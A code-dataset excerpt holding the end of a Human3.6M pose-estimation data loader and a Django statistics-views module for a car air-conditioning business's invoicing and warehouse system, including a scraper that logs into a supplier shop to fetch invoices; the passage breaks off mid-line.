relative_Jtrs = torch.stack(relative_Jtrs)\r\n\r\n imu_data = normalize_and_concat_72(imu_accs, imu_rotations)\r\n pose_aa = torch.FloatTensor(data_imus[-1]['pose']).view(-1, 72)\r\n pose = batch_rodrigues(pose_aa.view(-1, 3)).reshape(-1, 24, 3, 3)\r\n\r\n smpl_shape = torch.FloatTensor(smpl_param['shape'])\r\n\r\n # pred_shape_zero = torch.zeros(10).to(smpl_shape.device).expand_as(smpl_shape)\r\n\r\n smpl_output = self.smpl_layer(\r\n betas=smpl_shape.unsqueeze(0),\r\n body_pose=pose[:, 1:],\r\n global_orient=pose[:, 0].unsqueeze(1),\r\n pose2rot=False\r\n )\r\n pred_joints = smpl_output.joints[0][25:39]\r\n pred_vertices = smpl_output.vertices\r\n\r\n inputs = {'img': img, 'imu_data': imu_data}\r\n targets = {\r\n 'theta': pose_aa.view(-1, 3),\r\n 'smpl_shape': smpl_shape,\r\n 'smpl_pose': pose[0],\r\n 'kp_3d': pred_joints, # 14*3\r\n 'verts': pred_vertices[0],\r\n 'leaf_keypoints': left_Jtrs,\r\n 'relative_keypoints': relative_Jtrs,\r\n\r\n }\r\n metor = {'root': imu_rotations[-1, -1], 'cam_joint': data['joint_cam'],\r\n 'smpl_image': torch.FloatTensor(smpl_param['pose']),\r\n 'smpl_trans': torch.FloatTensor(smpl_param['trans']), }\r\n\r\n info = {'img_path': img_path, 'smpl_param': smpl_param, 'cam_param': data['cam_param'], 'center': center,\r\n 'scale': scale}\r\n\r\n return inputs, targets, metor, info\r\n","sub_path":"Human36M.py","file_name":"Human36M.py","file_ext":"py","file_size_in_byte":14452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"608113653","text":"import requests\n\nfrom datetime import date, timedelta, datetime\nfrom decimal import Decimal\n\nfrom bs4 import BeautifulSoup\nfrom dateutil.relativedelta import relativedelta\nfrom dateutil import parser as date_parser\n\nfrom django.views.generic import View, TemplateView\nfrom django.http import JsonResponse\nfrom django.urls import reverse\nfrom django.db.models import Sum, Avg, Count, F, DecimalField\nfrom django.template.defaultfilters import date as _date\n\nfrom KlimaKar.functions import remove_suffixes, remove_suffix\nfrom KlimaKar.mixins import StaffOnlyMixin\nfrom KlimaKar.templatetags.slugify import slugify\nfrom apps.settings.models import InvoiceDownloadSettings\nfrom apps.warehouse.models import Invoice, Ware, WarePriceChange, Supplier\nfrom apps.invoicing.models import SaleInvoice, Contractor, RefrigerantWeights\nfrom apps.commission.models import Commission\nfrom apps.stats.models import ReceiptPTU, Round\nfrom apps.stats.mixins import ChartDataMixin, BigChartHistoryMixin\nfrom apps.stats.dictionaries import COLORS\n\n\nclass DashboardView(StaffOnlyMixin, TemplateView):\n template_name = \"stats/dashboard.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n context[\"stats\"] = {\n \"purchase\": {\n \"group\": \"purchase\",\n \"metrics\": self._get_purchase_metrics(),\n \"charts\": self._get_purchase_charts(),\n },\n \"sale\": {\"group\": \"sale\", \"metrics\": self._get_sale_metrics(), \"charts\": self._get_sale_charts()},\n }\n return context\n\n def _get_purchase_charts(self):\n charts = []\n if self.request.user.is_staff:\n charts.append(\n {\n \"title\": \"Historia faktur zakupowych\",\n \"url\": reverse(\"stats:purchase_invoices_history\"),\n \"big\": True,\n \"select_date\": {\"extra\": True},\n \"custom_select\": [(\"Sum\", \"Suma\"), (\"Avg\", \"Średnia\"), (\"Count\", \"Ilość\")],\n }\n )\n charts.append(\n {\n \"title\": \"Historia zakupów u dostawców\",\n \"select_date\": True,\n \"custom_select\": [(\"Sum\", \"Suma\"), (\"Avg\", \"Średnia\"), (\"Count\", \"Ilość\")],\n \"url\": reverse(\"stats:supplier_purchase_history\"),\n }\n )\n charts.append(\n {\n \"title\": \"Historia zakupów towarów\",\n \"select_date\": True,\n \"custom_select\": [(\"Count\", \"Ilość\"), (\"Sum\", \"Suma\")],\n \"url\": reverse(\"stats:ware_purchase_history\"),\n }\n )\n return charts\n\n def _get_purchase_metrics(self):\n metrics = []\n metrics.append(\n {\"icon\": \"fa-tags\", \"color\": \"#E21E00\", \"title\": \"Liczba dodanych towarów\", \"class\": \"ware_count\"}\n )\n metrics.append(\n {\"icon\": \"fa-truck\", \"color\": \"#C1456E\", \"title\": \"Liczba dodanych dostawców\", \"class\": \"supplier_count\"}\n )\n metrics.append(\n {\"icon\": \"fa-file-alt\", \"color\": \"#8355C5\", \"title\": \"Liczba dodanych faktur\", \"class\": \"invoice_count\"}\n )\n if self.request.user.is_staff:\n metrics.append(\n {\n \"icon\": \"fa-file-alt\",\n \"color\": \"#8355C5\",\n \"title\": \"Kwota netto dodanych faktur\",\n \"class\": \"invoice_sum\",\n }\n )\n return metrics\n\n def _get_sale_charts(self):\n charts = []\n if self.request.user.is_staff:\n charts.append(\n {\n \"title\": \"Historia faktur sprzedażowych\",\n \"url\": reverse(\"stats:sale_invoices_history\"),\n \"big\": True,\n \"select_date\": {\"extra\": True},\n \"custom_select\": [\n (\"SumNetto\", \"Suma netto\"),\n (\"SumBrutto\", \"Suma brutto\"),\n (\"AvgNetto\", \"Średnia netto\"),\n (\"AvgBrutto\", \"Średnia brutto\"),\n (\"Count\", \"Ilość\"),\n ],\n }\n )\n charts.append(\n {\n \"title\": \"Historia zleceń\",\n \"url\": reverse(\"stats:commission_history\"),\n \"big\": True,\n \"select_date\": {\"extra\": True},\n \"custom_select\": [(\"Sum\", \"Suma\"), (\"Avg\", \"Średnia\"), (\"Count\", \"Ilość\")],\n }\n )\n charts.append(\n {\n \"title\": \"Historia sprzedaży czynników\",\n \"url\": reverse(\"stats:refrigerant_history\"),\n \"big\": True,\n \"select_date\": {\"extra\": True},\n \"custom_select\": [(\"r134a\", \"R134a\"), (\"r1234yf\", \"R1234yf\"), (\"r12\", \"R12\"), (\"r404\", \"R404\")],\n }\n )\n return charts\n\n def _get_sale_metrics(self):\n metrics = []\n metrics.append(\n {\"icon\": \"fa-book\", \"color\": \"#89D23A\", \"title\": \"Liczba dodanych faktur\", \"class\": \"sale_invoice_count\"}\n )\n if self.request.user.is_staff:\n metrics.append(\n {\n \"icon\": \"fa-book\",\n \"color\": \"#89D23A\",\n \"title\": \"Kwota netto dodanych faktur\",\n \"class\": \"sale_invoice_sum\",\n }\n )\n metrics.append(\n {\n \"icon\": \"fa-book\",\n \"color\": \"#89D23A\",\n \"title\": \"Kwota brutto dodanych faktur\",\n \"class\": \"sale_invoice_sum_brutto\",\n }\n )\n metrics.append({\"icon\": \"fa-percentage\", \"color\": \"#E21E00\", \"title\": \"Podatek VAT\", \"class\": \"vat_sum\"})\n metrics.append(\n {\n \"icon\": \"fa-percentage\",\n \"color\": \"#E21E00\",\n \"title\": \"Podatek VAT od firm\",\n \"class\": \"company_vat_sum\",\n }\n )\n metrics.append(\n {\n \"icon\": \"fa-percentage\",\n \"color\": \"#E21E00\",\n \"title\": \"Podatek VAT od osób fizycznych\",\n \"class\": \"person_vat_sum\",\n }\n )\n metrics.append(\n {\"icon\": \"fa-hand-holding-usd\", \"color\": \"#E21E00\", \"title\": \"Kwota PTU\", \"class\": \"ptu_sum\"}\n )\n\n metrics.append(\n {\"icon\": \"fa-tasks\", \"color\": \"#427BD2\", \"title\": \"Liczba zakończonych zleceń\", \"class\": \"commission_count\"}\n )\n if self.request.user.is_staff:\n metrics.append(\n {\n \"icon\": \"fa-tasks\",\n \"color\": \"#427BD2\",\n \"title\": \"Kwota zakończonych zleceń\",\n \"class\": \"commission_sum\",\n }\n )\n\n metrics.append(\n {\n \"icon\": \"fa-users\",\n \"color\": \"#00A0DF\",\n \"title\": \"Liczba dodanych kontrahentów\",\n \"class\": \"contractor_count\",\n }\n )\n metrics.append(\n {\"icon\": \"fa-flask\", \"color\": \"#F8640B\", \"title\": \"Sprzedaż czynnika R134a\", \"class\": \"r134a_sum\"}\n )\n metrics.append(\n {\"icon\": \"fa-flask\", \"color\": \"#F8640B\", \"title\": \"Sprzedaż czynnika R1234yf\", \"class\": \"r1234yf_sum\"}\n )\n metrics.append({\"icon\": \"fa-flask\", \"color\": \"#F8640B\", \"title\": \"Sprzedaż czynnika R12\", \"class\": \"r12_sum\"})\n metrics.append({\"icon\": \"fa-flask\", \"color\": \"#F8640B\", \"title\": \"Sprzedaż czynnika R404\", \"class\": \"r404_sum\"})\n return metrics\n\n\nclass SupplierPurchaseHistory(StaffOnlyMixin, ChartDataMixin, View):\n max_positions = 8\n\n def get(self, *args, **kwargs):\n self.date_option = self.request.GET.get(\"date_select\", \"week\")\n self.metric = self.request.GET.get(\"custom_select\", \"Sum\")\n\n self.invoices = self.get_invoices()\n self.response_data = self.get_response_data_template(chart_type=\"doughnut\", values_appendix=\" zł\")\n self.invoices = self.invoices.values(\"supplier\")\n self.invoices = self._annotate(self.invoices)\n self.invoices = self.invoices.values_list(\"supplier__name\", \"total\").order_by(\"-total\")\n if self.invoices.count() > self.max_positions:\n index = self.max_positions - 1\n else:\n index = self.invoices.count()\n\n labels = list(self.invoices[0:index].values_list(\"supplier__name\", flat=True))\n values = list(self.invoices[0:index].values_list(\"total\", flat=True))\n\n if self.invoices.count() > self.max_positions:\n labels.append(\"Pozostali dostawcy\")\n if self.metric == \"Avg\":\n values.append(\n self.invoices[self.max_positions - 1 :].values(\"total\").aggregate(avg=Round(Avg(\"total\")))[\"avg\"]\n )\n else:\n values.append(\n self.invoices[self.max_positions - 1 :].values(\"total\").aggregate(Sum(\"total\"))[\"total__sum\"]\n )\n\n self.response_data[\"data\"][\"labels\"] = labels\n self.response_data[\"data\"][\"datasets\"].append(self.get_dataset(values, COLORS[: len(values)]))\n\n return JsonResponse(self.response_data)\n\n def get_invoices(self):\n invoices = Invoice.objects.all()\n if self.date_option == \"week\":\n date = datetime.today() - relativedelta(days=6)\n elif self.date_option == \"month\":\n date = datetime.today() - relativedelta(months=1)\n elif self.date_option == \"year\":\n date = (datetime.today() - relativedelta(years=1, months=-1)).replace(day=1)\n else:\n date = None\n if date:\n invoices = invoices.filter(date__gte=date)\n return invoices\n\n def _annotate(self, qs):\n if self.metric == \"Sum\":\n return self.invoices.annotate(total=Sum(F(\"invoiceitem__price\") * F(\"invoiceitem__quantity\")))\n if self.metric == \"Avg\":\n return self.invoices.annotate(total=Round(F(\"invoiceitem__price\") * F(\"invoiceitem__quantity\")))\n elif self.metric == \"Count\":\n self.response_data[\"custom\"][\"values_appendix\"] = \"\"\n return self.invoices.annotate(total=Count(\"id\"))\n\n\nclass WarePurchaseHistory(StaffOnlyMixin, ChartDataMixin, View):\n max_positions = 8\n\n def get(self, *args, **kwargs):\n date_option = self.request.GET.get(\"date_select\", \"week\")\n metric = self.request.GET.get(\"custom_select\", \"Count\")\n now = datetime.today()\n if date_option == \"week\":\n date = now - relativedelta(days=6)\n elif date_option == \"month\":\n date = now - relativedelta(months=1)\n elif date_option == \"year\":\n date = (now - relativedelta(years=1, months=-1)).replace(day=1)\n else:\n date = None\n\n response_data = self.get_response_data_template(chart_type=\"doughnut\", values_appendix=\" zł\")\n wares = Ware.objects.exclude(invoiceitem=None)\n if date:\n wares = wares.filter(invoiceitem__invoice__date__gte=date)\n\n if metric == \"Sum\":\n wares = wares.annotate(\n total=Sum(F(\"invoiceitem__quantity\") * F(\"invoiceitem__price\"), output_field=DecimalField())\n )\n elif metric == \"Count\":\n wares = wares.annotate(total=Sum(\"invoiceitem__quantity\"))\n response_data[\"custom\"][\"values_appendix\"] = \"\"\n wares = wares.values_list(\"index\", \"total\").order_by(\"-total\")\n\n if wares.count() > self.max_positions:\n wares = wares[: self.max_positions]\n\n response_data[\"data\"][\"labels\"] = list(wares.values_list(\"index\", flat=True))\n values = list(wares.values_list(\"total\", flat=True))\n response_data[\"data\"][\"datasets\"].append(self.get_dataset(values, COLORS[: len(values)]))\n\n return JsonResponse(response_data)\n\n\nclass PurchaseInvoicesHistory(StaffOnlyMixin, BigChartHistoryMixin):\n model = Invoice\n date_field = \"date\"\n price_field = \"invoiceitem__price\"\n quantity_field = \"invoiceitem__quantity\"\n\n def _filter_objects(self, **kwargs):\n supplier = kwargs.get(\"supplier\")\n if supplier:\n self.objects = self.objects.filter(supplier__pk=supplier)\n\n def _get_default_date_option(self, **kwargs):\n supplier = kwargs.get(\"supplier\")\n if supplier:\n return \"year\"\n return \"week\"\n\n\nclass SaleInvoicesHistory(StaffOnlyMixin, BigChartHistoryMixin):\n model = SaleInvoice\n date_field = \"issue_date\"\n price_field = \"saleinvoiceitem__price_\"\n quantity_field = \"saleinvoiceitem__quantity\"\n\n def _annotate(self, qs):\n if self.metric == \"SumBrutto\":\n self.metric = \"Sum\"\n self.price_field = \"{}brutto\".format(self.price_field)\n if self.metric == \"SumNetto\":\n self.metric = \"Sum\"\n self.price_field = \"{}netto\".format(self.price_field)\n if self.metric == \"AvgBrutto\":\n self.metric = \"Avg\"\n self.price_field = \"{}brutto\".format(self.price_field)\n if self.metric == \"AvgNetto\":\n self.metric = \"Avg\"\n self.price_field = \"{}netto\".format(self.price_field)\n return super()._annotate(qs)\n\n def _filter_objects(self, **kwargs):\n self.objects = self.objects.exclude(\n invoice_type__in=[SaleInvoice.TYPE_PRO_FORMA, SaleInvoice.TYPE_CORRECTIVE, SaleInvoice.TYPE_WDT_PRO_FORMA]\n )\n\n\nclass CommissionHistory(StaffOnlyMixin, BigChartHistoryMixin):\n model = Commission\n date_field = \"end_date\"\n price_field = \"commissionitem__price\"\n quantity_field = \"commissionitem__quantity\"\n\n def _filter_objects(self, **kwargs):\n self.objects = self.objects.filter(status=Commission.DONE).exclude(end_date=None)\n\n\nclass RefrigerantWeightsHistory(StaffOnlyMixin, BigChartHistoryMixin):\n model = SaleInvoice\n date_field = \"issue_date\"\n values_appendix = \" g\"\n\n def _annotate(self, qs):\n return qs.annotate(total=Sum(\"refrigerantweights__\" + self.metric))\n\n\nclass WarePurchaseCost(StaffOnlyMixin, ChartDataMixin, View):\n min_count = 3\n\n def get(self, *args, **kwargs):\n ware_pk = self.kwargs.get(\"pk\")\n response_data = self.get_response_data_template(values_appendix=\" zł\")\n invoices = Invoice.objects.filter(invoiceitem__ware__pk=ware_pk).order_by(\"date\")\n if invoices.count() < self.min_count:\n return JsonResponse({}, status=404)\n response_data[\"data\"][\"labels\"] = list(invoices.values_list(\"date\", flat=True))\n values = list(invoices.values_list(\"invoiceitem__price\", flat=True))\n response_data[\"data\"][\"datasets\"].append(self.get_dataset(values, COLORS[0]))\n\n response_data[\"options\"][\"legend\"][\"display\"] = False\n return JsonResponse(response_data)\n\n\nclass WarePriceChanges(View):\n def get(self, *args, **kwargs):\n date_from = date_parser.parse(self.request.GET.get(\"date_from\")).date()\n date_to = date_parser.parse(self.request.GET.get(\"date_to\")).date()\n changes = WarePriceChange.objects.filter(\n created_date__date__gte=date_from, created_date__date__lte=date_to\n ).order_by(\"-created_date\")\n response = {\"changes\": []}\n for change in changes:\n response[\"changes\"].append(self.get_change_dict(change))\n return JsonResponse(response)\n\n def get_change_dict(self, change):\n return {\n \"invoice\": {\n \"url\": reverse(\n \"warehouse:invoice_detail\", kwargs={\"pk\": change.invoice.pk, \"slug\": slugify(change.invoice)}\n ),\n \"number\": change.invoice.number,\n },\n \"ware\": {\n \"url\": reverse(\"warehouse:ware_detail\", kwargs={\"pk\": change.ware.pk, \"slug\": slugify(change.ware)}),\n \"index\": change.ware.index,\n },\n \"supplier\": {\n \"url\": reverse(\n \"warehouse:supplier_detail\",\n kwargs={\"pk\": change.invoice.supplier.pk, \"slug\": slugify(change.invoice.supplier)},\n ),\n \"name\": change.invoice.supplier.name,\n },\n \"is_discount\": change.is_discount,\n \"last_price\": \"{0:.2f} zł\".format(change.last_price).replace(\".\", \",\"),\n \"new_price\": \"{0:.2f} zł\".format(change.new_price).replace(\".\", \",\"),\n \"created_date\": _date(change.created_date, \"d E Y\"),\n }\n\n\nclass DuePayments(StaffOnlyMixin, View):\n def get(self, *args, **kwargs):\n invoices = (\n SaleInvoice.objects.exclude(invoice_type__in=[SaleInvoice.TYPE_PRO_FORMA, SaleInvoice.TYPE_WDT_PRO_FORMA])\n .filter(payed=False)\n .order_by(\"payment_date\")\n )\n response = {\"invoices\": []}\n for invoice in invoices:\n if not invoice.payment_date:\n invoice.payed = None\n invoice.save()\n continue\n response[\"invoices\"].append(self.get_invoice_dict(invoice))\n return JsonResponse(response)\n\n def get_invoice_dict(self, invoice):\n return {\n \"url\": reverse(\"invoicing:sale_invoice_detail\", kwargs={\"pk\": invoice.pk, \"slug\": slugify(invoice)}),\n \"number\": invoice.number,\n \"brutto_price\": \"{0:.2f} zł\".format(invoice.total_value_brutto).replace(\".\", \",\"),\n \"payment_date\": _date(invoice.payment_date, \"d E Y\"),\n \"issue_date\": _date(invoice.issue_date, \"d E Y\"),\n \"is_exceeded\": invoice.payment_date < date.today(),\n \"contractor\": {\n \"url\": reverse(\n \"invoicing:contractor_detail\",\n kwargs={\"pk\": invoice.contractor.pk, \"slug\": slugify(invoice.contractor)},\n ),\n \"name\": invoice.contractor.name,\n },\n \"payed_url\": reverse(\"invoicing:sale_invoice_set_payed\", kwargs={\"pk\": invoice.pk}),\n }\n\n\nclass Metrics(StaffOnlyMixin, View):\n wares = None\n suppliers = None\n purchase_invoices = None\n sale_invoices = None\n contractors = None\n commissions = None\n weights = None\n ptus = None\n\n def get(self, *args, **kwargs):\n group = self.request.GET.get(\"group\")\n self.date_from = date_parser.parse(self.request.GET.get(\"date_from\")).date()\n self.date_to = date_parser.parse(self.request.GET.get(\"date_to\")).date()\n\n if group == \"purchase\":\n response = self._get_purchase_metrics()\n elif group == \"sale\":\n response = self._get_sale_metrics()\n else:\n return {}\n return JsonResponse(response)\n\n def _get_purchase_metrics(self):\n response = {\n \"ware_count\": self.get_wares().count(),\n \"supplier_count\": self.get_suppliers().count(),\n \"invoice_count\": self.get_purchase_invoices().count(),\n }\n if self.request.user.is_staff:\n response.update(self._get_purchase_secret_metrics())\n return response\n\n def _get_purchase_secret_metrics(self):\n return {\"invoice_sum\": \"{0:.2f} zł\".format(self.get_purchase_invoices().total()).replace(\".\", \",\")}\n\n def _get_sale_metrics(self):\n response = {\n \"contractor_count\": self.get_contractors().count(),\n \"sale_invoice_count\": self.get_sale_invoices().count(),\n \"commission_count\": self.get_commissions().count(),\n }\n r134a = 0\n r1234yf = 0\n r12 = 0\n r404 = 0\n if self.get_weights():\n r134a = self.get_weights().aggregate(Sum(\"r134a\"))[\"r134a__sum\"]\n r1234yf = self.get_weights().aggregate(Sum(\"r1234yf\"))[\"r1234yf__sum\"]\n r12 = self.get_weights().aggregate(Sum(\"r12\"))[\"r12__sum\"]\n r404 = self.get_weights().aggregate(Sum(\"r404\"))[\"r404__sum\"]\n response[\"r134a_sum\"] = \"{} g\".format(r134a)\n response[\"r1234yf_sum\"] = \"{} g\".format(r1234yf)\n response[\"r12_sum\"] = \"{} g\".format(r12)\n response[\"r404_sum\"] = \"{} g\".format(r404)\n\n if self.request.user.is_staff:\n response.update(self._get_sale_secret_metrics())\n return response\n\n def _get_sale_secret_metrics(self):\n invoices_sum_netto = 0\n invoices_sum_brutto = 0\n tax_sum = 0\n person_tax_sum = 0\n if self.get_sale_invoices():\n invoices_sum_netto = self._get_sale_netto(self.get_sale_invoices())\n invoices_sum_brutto = self._get_sale_brutto(self.get_sale_invoices())\n tax_sum = invoices_sum_brutto - invoices_sum_netto\n person_invoices = self.get_sale_invoices().filter(contractor__nip=None)\n if person_invoices:\n person_netto = self._get_sale_netto(person_invoices)\n person_brutto = self._get_sale_brutto(person_invoices)\n person_tax_sum = person_brutto - person_netto\n response = {}\n response[\"sale_invoice_sum\"] = \"{0:.2f} zł\".format(invoices_sum_netto).replace(\".\", \",\")\n response[\"sale_invoice_sum_brutto\"] = \"{0:.2f} zł\".format(invoices_sum_brutto).replace(\".\", \",\")\n response[\"vat_sum\"] = \"{0:.2f} zł\".format(tax_sum).replace(\".\", \",\")\n response[\"person_vat_sum\"] = \"{0:.2f} zł\".format(person_tax_sum).replace(\".\", \",\")\n response[\"company_vat_sum\"] = \"{0:.2f} zł\".format(tax_sum - person_tax_sum).replace(\".\", \",\")\n\n ptu_sum = 0\n if self.get_ptus():\n ptu_sum = self.get_ptus().aggregate(Sum(\"value\"))[\"value__sum\"]\n response[\"ptu_sum\"] = \"{0:.2f} zł\".format(ptu_sum).replace(\".\", \",\")\n\n response[\"commission_sum\"] = \"{0:.2f} zł\".format(self.get_commissions().total()).replace(\".\", \",\")\n return response\n\n def _get_sale_netto(self, queryset):\n return queryset.total(price_type=\"netto\")\n\n def _get_sale_brutto(self, queryset):\n return queryset.total(price_type=\"brutto\")\n\n def get_wares(self):\n if self.wares is not None:\n return self.wares\n self.wares = Ware.objects.filter(created_date__date__gte=self.date_from, created_date__date__lte=self.date_to)\n return self.wares\n\n def get_suppliers(self):\n if self.suppliers is not None:\n return self.suppliers\n self.suppliers = Supplier.objects.filter(\n created_date__date__gte=self.date_from, created_date__date__lte=self.date_to\n )\n return self.suppliers\n\n def get_purchase_invoices(self):\n if self.purchase_invoices is not None:\n return self.purchase_invoices\n self.purchase_invoices = Invoice.objects.filter(date__gte=self.date_from, date__lte=self.date_to)\n return self.purchase_invoices\n\n def get_contractors(self):\n if self.contractors is not None:\n return self.contractors\n self.contractors = Contractor.objects.filter(\n created_date__date__gte=self.date_from, created_date__date__lte=self.date_to\n )\n return self.contractors\n\n def get_weights(self):\n if self.weights is not None:\n return self.weights\n self.weights = RefrigerantWeights.objects.filter(\n sale_invoice__issue_date__gte=self.date_from, sale_invoice__issue_date__lte=self.date_to\n )\n return self.weights\n\n def get_sale_invoices(self):\n if self.sale_invoices is not None:\n return self.sale_invoices\n self.sale_invoices = SaleInvoice.objects.filter(\n issue_date__gte=self.date_from, issue_date__lte=self.date_to\n ).exclude(\n invoice_type__in=[SaleInvoice.TYPE_PRO_FORMA, SaleInvoice.TYPE_CORRECTIVE, SaleInvoice.TYPE_WDT_PRO_FORMA]\n )\n return self.sale_invoices\n\n def get_commissions(self):\n if self.commissions is not None:\n return self.commissions\n self.commissions = Commission.objects.filter(\n end_date__gte=self.date_from, end_date__lte=self.date_to, status=Commission.DONE\n )\n return self.commissions\n\n def get_ptus(self):\n if self.ptus is not None:\n return self.ptus\n self.ptus = ReceiptPTU.objects.filter(date__gte=self.date_from, date__lte=self.date_to)\n return self.ptus\n\n\nclass PTUList(StaffOnlyMixin, View):\n def get(self, *args, **kwargs):\n try:\n date_from = date_parser.parse(self.request.GET.get(\"date_from\")).date()\n date_to = date_parser.parse(self.request.GET.get(\"date_to\")).date()\n except TypeError:\n return JsonResponse({\"status\": \"error\", \"message\": \"Niepoprawny zakres dat.\"}, status=400)\n delta = date_to - date_from\n response = {\"ptu\": []}\n ptu_sum = 0\n for i in range(delta.days + 1):\n date = date_from + timedelta(days=i)\n try:\n ptu = ReceiptPTU.objects.get(date=date)\n ptu_sum += ptu.value\n response[\"ptu\"].append(\n {\n \"date\": _date(ptu.date, \"d E Y (l)\"),\n \"date_value\": _date(ptu.date, \"d.m.Y\"),\n \"value\": \"{0:.2f} zł\".format(ptu.value).replace(\".\", \",\"),\n \"warning\": False,\n }\n )\n except ReceiptPTU.DoesNotExist:\n response[\"ptu\"].append(\n {\n \"date\": _date(date, \"d E Y (l)\"),\n \"date_value\": _date(date, \"d.m.Y\"),\n \"value\": \"0,00 zł\",\n \"warning\": True,\n }\n )\n response[\"sum\"] = (\"{0:.2f} zł\".format(ptu_sum).replace(\".\", \",\"),)\n return JsonResponse(response)\n\n\nclass GetPTUValue(StaffOnlyMixin, View):\n def get(self, *args, **kwargs):\n try:\n date = date_parser.parse(self.request.GET.get(\"date\")).date()\n except TypeError:\n return JsonResponse({\"status\": \"error\", \"message\": \"Niepoprawna data.\"}, status=400)\n try:\n ptu = ReceiptPTU.objects.get(date=date)\n return JsonResponse({\"value\": ptu.value})\n except ReceiptPTU.DoesNotExist:\n return JsonResponse({\"value\": 0})\n\n\nclass SavePTU(StaffOnlyMixin, View):\n def post(self, *args, **kwargs):\n date = date_parser.parse(self.request.POST.get(\"date\"), dayfirst=True).date()\n value = self.request.POST.get(\"value\")\n if not date or not value:\n return JsonResponse({\"status\": \"error\", \"message\": \"Niepoprawne dane.\"}, status=400)\n try:\n ptu = ReceiptPTU.objects.get(date=date)\n except ReceiptPTU.DoesNotExist:\n ptu = ReceiptPTU(date=date)\n value = value.replace(\",\", \".\")\n ptu.value = value\n ptu.save()\n return JsonResponse({\"status\": \"success\", \"message\": \"Poprawnie zapisano PTU.\"})\n\n\nclass GetSummary(StaffOnlyMixin, View):\n def get(self, *args, **kwargs):\n try:\n date_from = date_parser.parse(self.request.GET.get(\"date_from\")).date()\n date_to = date_parser.parse(self.request.GET.get(\"date_to\")).date()\n except TypeError:\n return JsonResponse({\"status\": \"error\", \"message\": \"Niepoprawny zakres dat.\"}, status=400)\n response = {}\n ptu_sum = self._get_ptu(date_from, date_to)\n response[\"ptu\"] = \"{0:.2f} zł\".format(ptu_sum).replace(\".\", \",\")\n\n commissions_sum = self._get_commissions(date_from, date_to)\n response[\"commissions\"] = \"{0:.2f} zł\".format(commissions_sum).replace(\".\", \",\")\n\n vat_sum = self._get_vat(date_from, date_to)\n response[\"vat\"] = \"{0:.2f} zł\".format(vat_sum).replace(\".\", \",\")\n\n purchase_sum = self._get_purchase(date_from, date_to)\n response[\"purchase\"] = \"{0:.2f} zł\".format(purchase_sum).replace(\".\", \",\")\n\n all_sum = float(commissions_sum) - float(ptu_sum) - float(vat_sum) - float(purchase_sum)\n response[\"sum\"] = \"{0:.2f} zł\".format(all_sum).replace(\".\", \",\")\n date_range = self._get_date_range(date_from, date_to)\n response[\"urls\"] = {\n \"commissions\": \"{}?end_date={}&status=__ALL__\".format(reverse(\"commission:commissions\"), date_range),\n \"invoices\": \"{}?issue_date={}\".format(reverse(\"invoicing:sale_invoices\"), date_range),\n \"purchase\": \"{}?date={}\".format(reverse(\"warehouse:invoices\"), date_range),\n \"wares\": \"{}?purchase_date={}\".format(reverse(\"warehouse:wares\"), date_range),\n }\n response[\"invoices_without_commission\"] = self._get_sale_invoices_wthout_commission(date_from, date_to)\n return JsonResponse(response)\n\n def _get_date_range(self, date_from, date_to):\n return \"{}+-+{}\".format(date_from.strftime(\"%d.%m.%Y\"), date_to.strftime(\"%d.%m.%Y\"))\n\n def _get_ptu(self, date_from, date_to):\n ptu_sum = 0\n ptu_objects = ReceiptPTU.objects.filter(date__gte=date_from, date__lte=date_to)\n if ptu_objects:\n ptu_sum = ptu_objects.aggregate(Sum(\"value\"))[\"value__sum\"]\n return ptu_sum\n\n def _get_commissions(self, date_from, date_to):\n commissions = Commission.objects.filter(end_date__gte=date_from, end_date__lte=date_to, status=Commission.DONE)\n return commissions.total()\n\n def _get_vat(self, date_from, date_to):\n invoices = (\n SaleInvoice.objects.filter(issue_date__gte=date_from, issue_date__lte=date_to)\n .exclude(contractor__nip=None)\n .exclude(\n invoice_type__in=[\n SaleInvoice.TYPE_PRO_FORMA,\n SaleInvoice.TYPE_CORRECTIVE,\n SaleInvoice.TYPE_WDT_PRO_FORMA,\n ]\n )\n )\n return invoices.total(price_type=\"brutto\") - invoices.total(price_type=\"netto\")\n\n def _get_purchase(self, date_from, date_to):\n invoices = Invoice.objects.filter(date__gte=date_from, date__lte=date_to)\n return invoices.total()\n\n def _get_sale_invoices_wthout_commission(self, date_from, date_to):\n invoices = SaleInvoice.objects.filter(issue_date__gte=date_from, issue_date__lte=date_to, commission=None)\n return [\n {\n \"url\": reverse(\"invoicing:sale_invoice_detail\", kwargs={\"pk\": invoice.pk, \"slug\": slugify(invoice)}),\n \"number\": invoice.number,\n \"brutto_price\": \"{0:.2f} zł\".format(invoice.total_value_brutto).replace(\".\", \",\"),\n \"contractor\": {\n \"url\": reverse(\n \"invoicing:contractor_detail\",\n kwargs={\"pk\": invoice.contractor.pk, \"slug\": slugify(invoice.contractor)},\n ),\n \"name\": invoice.contractor.name,\n },\n }\n for invoice in invoices\n ]\n\n\nclass UnpayedDekoInvoicesView(StaffOnlyMixin, View):\n def get(self, *args, **kwargs):\n self.settings = InvoiceDownloadSettings.load()\n with requests.Session() as s:\n url = \"http://sklep.dekoautoparts.pl/pl\"\n headers = {\n \"User-Agent\": (\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\"\n \" Chrome/75.0.3770.80 Safari/537.36\"\n )\n }\n r = s.get(url, headers=headers)\n if r.status_code != 200:\n return JsonResponse({}, status=500)\n\n soup = BeautifulSoup(r.content, \"html5lib\")\n data = {\n \"__EVENTTARGET\": \"ctl00$ctl00$BodyContentPlaceHolder$LoginForm$LoginButton\",\n \"__EVENTARGUMENT\": \"\",\n \"__VIEWSTATE\": soup.find(\"input\", attrs={\"name\": \"__VIEWSTATE\"})[\"value\"],\n \"__VIEWSTATEGENERATOR\": soup.find(\"input\", attrs={\"name\": \"__VIEWSTATEGENERATOR\"})[\"value\"],\n \"__EVENTVALIDATION\": soup.find(\"input\", attrs={\"name\": \"__EVENTVALIDATION\"})[\"value\"],\n \"ctl00$ctl00$BodyContentPlaceHolder$LoginForm$Username\": self.settings.DEKO_LOGIN,\n \"ctl00$ctl00$BodyContentPlaceHolder$LoginForm$Password\": self.settings.DEKO_PASSWORD,\n }\n r = s.post(url, data=data, headers=headers)\n if r.status_code != 200:\n return JsonResponse({}, status=500)\n\n url = \"http://sklep.dekoautoparts.pl/AjaxServices/Informations.svc/GetFilteredInvoices\"\n data = {\n \"dateFrom\": (date.today() - timedelta(90)).strftime(\"%Y-%m-%d\"),\n \"dateTo\": (date.today() + 